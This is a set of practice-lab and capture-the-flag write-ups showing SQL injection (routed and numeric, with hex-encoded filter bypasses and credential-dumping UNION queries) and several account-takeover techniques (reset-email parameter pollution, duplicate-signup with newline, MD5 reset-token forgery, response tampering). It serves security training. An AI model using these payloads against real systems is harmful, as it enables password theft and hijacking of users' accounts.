SQL injection - Routed

Description Retrieve the administrator password. Routed SQL Injection!!! First time hearing about it, so I searched to see what it is, and I found that this is a situation where the injectable query is not the one which gives output, but the output of the injectable query goes to the query which gives the output. Let’s look at this snippet of code to understand more. <? $id=$_GET['id']; $query="SELECT id,sec_code FROM users WHERE id='$id'"; if (!$result=mysql_query($query,$conn)) die("Error While Selection process : " . mysql_error()); if(mysql_num_rows($result) == 0) die(); $row = mysql_fetch_array($result, MYSQL_ASSOC); $query="SELECT username FROM users WHERE sec_code='".$row['sec_code']."'"; echo " This is the query which gives you Output : $query "; if (!$result=mysql_query($query,$conn)) die("Error While Selection process : " . mysql_error()); if(mysql_num_rows($result) == 0) die("Invalid Input parameter"); $row = mysql_fetch_array($result, MYSQL_ASSOC); echo 'Username is : ' . $row['username'] . " ";?> The magic here is that - the output of the first query is used as the input of the second query and it is the second query which displays output back to us. Or in other words, in order to exploit the SQL Injection vulnerability, we need to control the input for the second query - the variable sec_code (which happens to be the output of the first query). You may have already noticed that, due to the fact that the first query is vulnerable to SQL Injection, we can control and set sec_code to an arbitrary value Routed Challange Challange Link Hex decoder Let’s exploit our challange: starting by confirming that it is vulnerable to SQL Injection by sending a single quote ‘ as payload: ok, now i ll inject simple payload ' union select 1 -- - what this will do?? this will escape the first SQL query and set both values, the second one (representing sec_code in our ecample) to the value 1 as we said that sec_code is the output of first query and it’s the input for the second query. now it has a value, the second query will run successfully and return output for the value 1 also this will happen if we set the value to 2 ' union select 2 -- - what if we set the second one to True ?? it will dump all the record in the DB yes! So, the query would be ' union select ' or true -- - -- - but i get an alert “Attack detected” mmmmmm there are filters ! Bypass the Filter the basic bypass to the filter, i will HEX encode the term that be blocked ' or true -- - it appears that there are 3 IDs, now we can bypass the filter easily and can control the second part of the query. let’s determine how many columns by using Order by the Sql table contains 2 columns cuz when try to order by 3 , i get an error that it’s unknown payload ' union select ' order by 3 -- - -- - payload after hexed : ' union select 0x27206f726465722062792033202d2d202d -- - now we know that the output is [ID & Email] if we use union select once again here we can return any output that we want So,Let’s use SQL functions like current_user() and @@version Payload ' union select ' union select current_user(),@@version -- - -- - after hex encode: ' union select 0x2720756e696f6e2073656c6563742063757272656e745f7573657228292c404076657273696f6e202d2d202d -- - we are now in a situation that resembles a normal SQL Injection. we want to know the name of the tables that are in the DB Retrieve Table name payload ' union select ' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = database() -- - after hex encode: ' union select 0x2720554e494f4e2053454c454354207461626c655f6e616d652c206e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e7461626c6573205748455245207461626c655f736368656d61203d2064617461626173652829202d2d202d -- - Retrieve Columns names the table called user has two columns, let’s get the columns’ names payloads - ' union select' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' AND table_schema = database() LIMIT 1, 1 -- - after hex : ' union select 0x2720554e494f4e2053454c45435420636f6c756d6e5f6e616d652c206e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f6e616d65203d202775736572732720414e44207461626c655f736368656d61203d2064617461626173652829204c494d495420312c31202d2d202d -- - ' union select' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' AND table_schema = database() LIMIT 2, 1 -- - after hex : ' union select 0x2720554e494f4e2053454c45435420636f6c756d6e5f6e616d652c206e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f6e616d65203d202775736572732720414e44207461626c655f736368656d61203d2064617461626173652829204c494d495420322c31202d2d202d -- - these two payloads return columns’ names Login & Password Retrieve Admin Password Finallyyyyy, let’s retrieve the admin password by using Gorup_concat payload ' union select ' union select 1,(select group_concat(login, ':' ,password) from users) -- - after hex :' union select 2720756e696f6e202073656c65637420312c2873656c6563742067726f75705f636f6e636174286c6f67696e2c20273a27202c70617373776f7264292066726f6d20757365727329202d2d202d -- - I know it was a long write-up, but I hope it can be useful. See you in another one :)

5-Labs · 2024-06-22

SQL injection - Numeric

Description Retrieve the administrator password. Challange Link Fast Solution id=3’ id=3 order by 5 – - id=3 union select 1,2,3 from sqlite_master – - id=3 union select 1,sql,name from sqlite_master — – id=3 union select 1,username,password from users– –

5-Labs · 2024-06-22

Account TakeOver Lab6

Description As usual, try logging in with admin@bepractical.tech. sign-up first register new account and login nothing new Go back and let’s check the reset password function. But this time, there is nothing vulnerable in the reset password function, so what should I do now? I decided to check the signup page, so I went to my notes in Notion about this and found this tip if the weebsite has no email verification when sign up try to regeister using existing email by adding \n at the end example {"email":"mostafa.nada1221@gmail.com"} | {"email":"mostafa.nada1221@gmail.com\n"} it could sign you into someone's account/overwrite his account Register two accounts But here, it worked for me with the same email. Let’s thread the steps: Created the first account with these credentials email: mostafa123 (as shown in the above photo). Created another account with the same email but with a different password email: 123456 When I went back to log in with the second account, it logged me into the first account with the password mostafa123. So, Let’s go to signup page and register a new account with admin email admin@bepractical.tech:123456 Login as admin Go back to the login, then enter these credentials. It will log you into the admin account. Admin account …. Hacked gg

5-Labs · 2024-06-20

Account TakeOver Lab4

Description As usual, try logging in with admin@bepractical.tech. first register new account and login nothing new. So, let’s check reset password function Reset Password type the email and click send ok now check the email to see the otp But this time, there is a reset link instead of an OTP like in previous labs. So, let’s copy the link to check it Crack The Hash I noticed the term Secret_key followed by a value. I think this is some kind of hash. At first, I considered cracking this hash on the CrackStation website, but I didn’t get the value. Since it’s 32-bit, I thought it might be MD5. To be sure, I took this value to a hash analyzer, and yes, it’s MD5. I think this hash is something related to the user. So, we can try various strings like name, username, email address, phone number, password, etc. By trying the email address used to log in, I got a match We now go back to the Forgot Password functionality, type in the admin account email, and click send “So now, let’s get the hash for the admin account email address we are trying to take over.” let’s take the admin hash as secret_key then copy the link and paste it in firefox Admin account …. Hacked gg

5-Labs · 2024-06-20

Account TakeOver Lab3

Description As usual, try logging in with admin@bepractical.tech. Starting from the login page, we can sign in as in Lab 2, so I created a new account. Then, I played around with BurpSuite, trying various ideas learned from Lab 1 and Lab 2, but with no success. Let’s go directly to the reset password function. Reset Password Turn on interception and click send to see the request. Notice the format used is JSON , while hunting take these notes when reset password GET /passwordreset #Double parameter - email=victim@xyz.tld&email=hacker@xyz.tld - email=victim@xyz.tld,email=hacker@xyz.tld - email=victim@xyz.tld&bcc:hacker@xyz.tld - email=victim@xyz.tld%0a%0dcc:=hacker@xyz.tld - email=victim@xyz.tld,hacker@xyz.tld - email=victim@xyz.tld%20hacker@xyz.tld - email=victim@xyz.tld|hacker@xyz.tld - {"email":["victim@xyz.tld","hacker@xyz.tld"]} The last one worked for me by entering both emails like this. { "email":["admin@practical.tech", "730bbbfd32@emailcbox.pro" ] } press forward to see the response. it’s a 200 ok now go to firefox Admin account …. Hacked gg

5-Labs · 2024-06-20

Account TakeOver Lab2

Description In this lab, they want me to take over the admin account but didn’t provide any credentials for logging in Sign up there is a singup button ,I am using a temporary email address mohmal.com Let’s register an account . Login After creating an account, let’s go back to the login page to enter the account that we created. Okay, nice. What should I do now? I tried response manipulation like in the first lab, but it didn’t work here. Reset Password So,let’s test the reset password function I entered the temporary email address to receive the OTP on it and then clicked send (BurpSuite fired in the background). The OTP has been sent, so I checked my email to get it So, I entered the code and intercepted the request with BurpSuite. change the emailforOtp parameter to admin@bepractical.tech and forward the request now go to firefox Admin account …. Hacked gg

5-Labs · 2024-06-20

Account TakeOver Lab1

Description bepractical.tech. It’s a platform that offers various challenges and labs for cybersecurity enthusiasts and bug hunters to practice their skills. The site provides hands-on experience with real-world scenarios, allowing users to test and improve their abilities in finding and exploiting vulnerabilities. — Login First we will login with the credentials given john@bepractical.tech:john@123 As you can see, we were logged in as John. Now, let’s go back to the login page, intercept the same request with BurpSuite, and send it to the Repeater. When we logged in with the given credentials, the response was MQ==, which is Base64 for 1. If we change the email parameter to admin@bepractical.tech, the response will be ZmFsc2U=, which means false. Response Manipulation Immediately, I thought about response manipulation. So, I went back and intercepted the request. I changed the email to admin@bepractical.tech, right-clicked, selected Do intercept, chose response to this request, and then forwarded it. After that, I changed ZmFsc2U= to MQ== and forwarded the request again Now, turn intercept off, then go back to Firefox. GG lab is solved.

5-Labs · 2024-06-20

Mostafa Ashraf

Contact

5-Labs